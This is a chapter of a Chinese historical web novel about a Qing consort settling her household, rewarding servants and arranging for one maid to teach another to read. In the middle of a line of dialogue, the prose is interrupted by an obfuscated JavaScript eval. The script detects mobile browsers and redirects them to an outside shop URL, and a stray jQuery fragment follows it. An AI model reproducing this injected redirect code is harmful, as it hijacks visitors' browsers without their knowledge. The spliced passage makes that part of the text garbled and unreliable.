一下午过去,启祥宫戴佳嫔娘娘大手笔的赏赐就在宫里传开了。
大方又不苛责奴才们,只要做好自己手里的事,再没有受罚的。
宫中规定首领太监分两种,一是马得宝这样统管整个启祥宫的,月俸银四两,米四斛,公费银一两。
一种是李福这种专伺候嫔位及以上主子娘娘的,月俸银三两,米三斛,公费银是没有的。
小太监们则是按等级分,自是比之要少上许多,遇上有大太监昧下的,只能打落牙齿往下咽,所以许多小太监都私下底有认干爹,就是为了不走这一遭。
不过那干爹也有贪银子的,这又是另一回事了。
而宫女们比之太监,待遇要好上一些。
因为宫女们都是包衣出身,又在主子跟前伺候,自是多了几分脸面。
按资历和进宫年限,都是二到六两的月俸。吃食上呢,主子们一般都用的少,剩下的多会赏给近身的宫女们,这可比太监们要好上许多了。
油水大,用料足又精细,遇上年节或是主子心情好呢,还另有赏赐。
不过遇上爱克扣的主子,那就说不定了,有的还得自己贴银子,一年下来,荷包里的银子还能只减不增,若是遇到这种情况可叫苦连天了。
不管怎样,穗珠一番大手笔的赏赐,宫人们两个月的月俸就到手。
除了这,又是棉衣,又是成对的银镯子,着实令她在这后宫底层中以宽厚出了名儿了。
今儿办了事,主子又赏了五两,又让自己做主分了银子下去,马得宝喜不自胜,在这启祥宫里像个无头苍蝇似的打转了好几年了,这回可算没白费了自己那一大笔的银子。
所以虽然心里有些发怵,但是他也着乐呵呵地磕了头,手里紧紧握着硌手的银子,嘿,他这往后哪里也不去,死也要死在启祥宫才行!
点好了册子,穗珠又把正殿旁边的两间配殿改做了库房。往后来往见礼多了,放这儿最合适,盘了库,又问谁会识字,麦苗自小跟着穗珠一起长大,作为贴身丫头自是会的。
麦芽按说是大宫女,这时候却没站出来,她臊得脸通红,两手扭成麻花状,小声说自己不会。
其实不会才是正常的,宫里规定小选入宫的宫女不许读书认字,主要是包衣里头,旗人也不许经商种地。
包衣家的都是皇家、王公贵族的奴才,家里大多生计艰难,更不说读书认字了。
进了宫,晓得菜谱,脑子里记住就行,可谁叫她如今是大宫女了呢。
往前数,奴才的歇息时间也少,一旬一日,麦芽每日忙得跟个陀螺似的团团转,连个旬假也是洗洗刷刷,想学也没那功夫,再说人凭啥白教你,教不教,能不能教会她还不一定呢。
穗珠好久没和这些小丫头们打过交道了,一时也忘了这回事,说到这里,她索性问了一圈。
就个李福和马得宝识得几个字,还是入宫后原先位上的老太监给教了几个。
除了他两人,还有两个宫女,一个眼角带痣的叫绣绣,一个面容清秀的叫靑竹的,两人倒是会认些简单的字,这可大大出乎穗珠意料。
青竹原是御花园里伺候花木的,绣绣是针线局里的,穗珠索性给两人提了二等。
青竹改叫新雨,她时常在宫中各处送花草,往后出宫就跟在自己身边伺候。
绣绣改叫新月,以后就管她屋里的针线活。
看着巴巴望着自己的另外两人,穗珠想了想也给改了名儿,会梳头的叫秋月,年纪还小点的叫秋雨,平日里管跑腿,传膳就行。
得,这启祥宫戴佳嫔主子的基本配置都占了位儿。
穗珠本不想这么快定下等的,只宫女大多近身伺候,要有自己的位子才好做事。
麦苗欲言又止,知道主子这是又发善心了,穗珠瞪了她一眼,这丫头眯起眼睛干什么?
却绝口不提自己是一时心软。
正殿的奴才们忙着手里的活儿,主子也忙着要歇息。
梁九功这时候却带着赏赐来了。
人还没到穗珠跟前就笑着行礼,又说自己是来送赏的,道:“戴佳嫔娘娘,您可瞧瞧看,这可是皇上亲自选了叫奴才们送过来的。”说罢叫人把锦盒都一一打开来。
“公公有礼了。”穗珠赶紧侧过身,她哪真能结结实实受这堂堂乾清宫总管太监的礼啊,又朝乾清宫福了福礼道:“戴佳氏谢过皇上。”
再打起精神看了看,除了份例外是有些好东西,只再好的东西她前世都见过不知多少了,并不为奇。
只这二百两碎银子,也不知道是不是有意,刚好是嫔主子一年的份例。
梁九功暗暗咋舌,这锦盒里的东西可是从皇上私库里选出来的,看来这位嫔娘娘家底还挺厚的。
也是,就噶鲁做这内务府总管,家里也该有些见识。
给梁九功塞了个足量称,刻着如意字样式的金锭子,把人都客客气气的送走后,穗珠眼皮都快要睁不开了。
今儿着实把她累着了,跑来跑去,又整了整库房,一天下来整个人都灰头土脸的。
上辈子自从做了太妃后,多久没这么折腾过了,看来这身体看着健康,里头可虚得很,哪天太医来请脉还得问问才行。
洗漱完后手一挥,叫人都出去候着,这启祥宫里她最大,穗珠也不管时辰直接躺在床上,又吩咐下去,除了天大的事以外,其他的等她睡醒后再说。
外间麦苗正理着手里的册子。
这两日主子光打赏、走礼,着实用了不少,她看着就有些头疼。
太太说得没错,这宫里的人情往来又费银子又费神。
麦芽坐在一旁给帮忙,她虽不认字,但是记性却挺好。
新雨和新月拿了团线,两人掐着手指数了数,要做鞋子、衣裳,还有打赏用的荷包,得赶紧些做才行。
秋月和秋雨忙着到处打扫,几人四下分散着坐在殿内,各自忙着手里的活儿。
启祥宫内忙得热火朝天的,主子这才安顿下来,这宫里的活儿多得是要人做的。
“麦芽,你能看清这上头的字吗?眼睛有没有问题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567160|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”麦苗指着册子上的字问麦芽。
“能啊,我眼睛好着呢,你站那边台阶上,我连你的眼睫毛都能看清呢。”麦芽笑着说道。
“那我往后我教你认字怎么样?”麦苗翻了一页后看着麦芽说完后就坐在一旁一言不发,只知道帮她理册子,她想了想问道。
“嗯?”麦芽呆愣几息,然后立刻拔高了声音,“真的吗?你说的是真的吗?”她突地站了起来,眼睛瞪得老大,满脸的不可置信。
她早想问问了,就是不好张嘴。两人虽说都是启祥宫戴佳嫔娘娘身边的大宫女,但两人才认识两天,她还比麦苗年纪大上两岁,哪好意思开口问呢?
再说,识字也不是一时半会就能成的,她忐忑了许久,没想到麦苗主动说要教她。
“对呀,咱们虽说不能作词成诗的,但这最基本的几个字还是要认得的,也能好好伺候主子。你瞧,今儿不就是了,不认字还麻烦着呢。”
麦苗笑盈盈地说完后扫了一眼对面正在做针线活的两人,看她二人对视一眼后又低下头忙着手里的活,麦苗才移开视线。
虽说这些新来伺候主子的,明面上都是过了噶鲁大人的眼,再加上两人这会儿都是伺候主子的大宫女,但麦苗自认没那么好心肠。
主子心软,但她可不,太太说她人虽看着老实,心里头可是有杆秤的!
何况麦芽的品性,她们这才认识没多久,她也看不出个什么来,家里老太太还说过防人之心不可无,这宫里谁说得清自己到底是哪儿的人?
主子说要自己教教她,说是能认个字也是好的,麦苗不高兴,看主子脸色又不敢说不,只得瘪瘪嘴答应了下来。
想着反正主子是嫔位娘娘,以后这启祥宫里的活多得是。
库房又得时时清点,主子身边又离不得人,往后总不能就这样糊涂着过。
再说两人现在都是大宫女,自是要配合着伺候主子。
她一边飞快地打着算盘,一边看麦芽的脸色,看她又是高兴又是担忧,也不出声打断她。
“麦苗谢谢你,今儿起,你就是我师父了,往后发了月俸,我分你一半。”麦芽很是激动,一张脸涨得通红,她双手拉住麦苗空着的左手,语气真诚地说。
她骨架比一般宫女大些,又在膳房干过,手上的劲儿就有些大,捏得麦苗有些疼,可是看着她因为高兴而露出的酒窝,麦苗又停住了想要收回的手。
“瞎,我哪能要你月俸,这都是主子叫我教的,你呀,好好学,往后能给咱们主子分忧就行。”
“那肯定是了,一会儿主子醒了,我再去磕头,伺候好咱们主子才是正理。”麦芽重重地点了点头,脸上尽是郑重。
行吧,麦苗嘴角浮出笑意,看她还是知道主子排第一,希望没看错她。
两人说着话,那头的新雨和新月又对视了一眼手上的动作更快了。
新月眼睛看着花绷子似在认真绣着花,细看却瞧见她的嘴角拉直,绷得紧紧的。
麦苗看着也没出声,低着头又忙着手里的活。